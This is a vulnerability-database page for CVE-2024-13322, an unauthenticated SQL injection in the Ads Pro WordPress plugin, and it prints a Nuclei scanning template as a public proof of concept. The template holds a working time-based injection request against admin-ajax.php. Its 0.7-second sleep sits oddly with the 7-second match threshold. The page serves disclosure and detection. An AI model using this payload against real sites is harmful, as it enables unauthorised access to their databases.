CVE-2024-13322: Ads Pro Plugin <= 4.88 - Unauthenticated SQL Injection

日期: 2025-08-01 | 影响软件: Ads Pro Plugin | POC: 已公开

漏洞描述

The Ads Pro Plugin - Multi-Purpose WordPress Advertising Manager plugin for WordPress is vulnerable to SQL Injection via the 'a_id' parameter in all versions up to, and including, 4.88 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

PoC代码[已公开]

id: CVE-2024-13322

info:
  name: Ads Pro Plugin <= 4.88 - Unauthenticated SQL Injection
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    The Ads Pro Plugin - Multi-Purpose WordPress Advertising Manager plugin for WordPress is vulnerable to SQL Injection via the 'a_id' parameter in all versions up to, and including, 4.88 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ap-plugin-scripteo/ads-pro-plugin-multi-purpose-wordpress-advertising-manager-488-unauthenticated-sql-injection
    - https://codecanyon.net/item/ads-pro-plugin-multipurpose-wordpress-advertising-manager/10275010
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/3bcb60a8-220f-45a4-a9a9-10f64acf470c?source=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-13322
    cwe-id: CWE-89
    epss-score: 0.20691
    epss-percentile: 0.95396
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2024,sqli,time-based-sqli,wp,wp-plugin,wordpress

http:
  - raw:
      - |
        @timeout: 30s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=bsa_stats_chart_callback&ad_id=1+and+(select*from(select(sleep(0.7)))a)-- -

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - clicks
          - weekly_views
          - labels
        condition: and

      - type: dsl
        dsl:
          - 'duration>=7'
# digest: 4b0a00483046022100ba06eafcea6078632f3d9fb9a1fae6aeabfc71ca253daad15ceb684a30912a02022100f0c16311ba7f5ed8b82aa81d559833f781796be52214e0112a0013eeca717a13:922c64590222798bb761d5b6d8e72950

相关漏洞推荐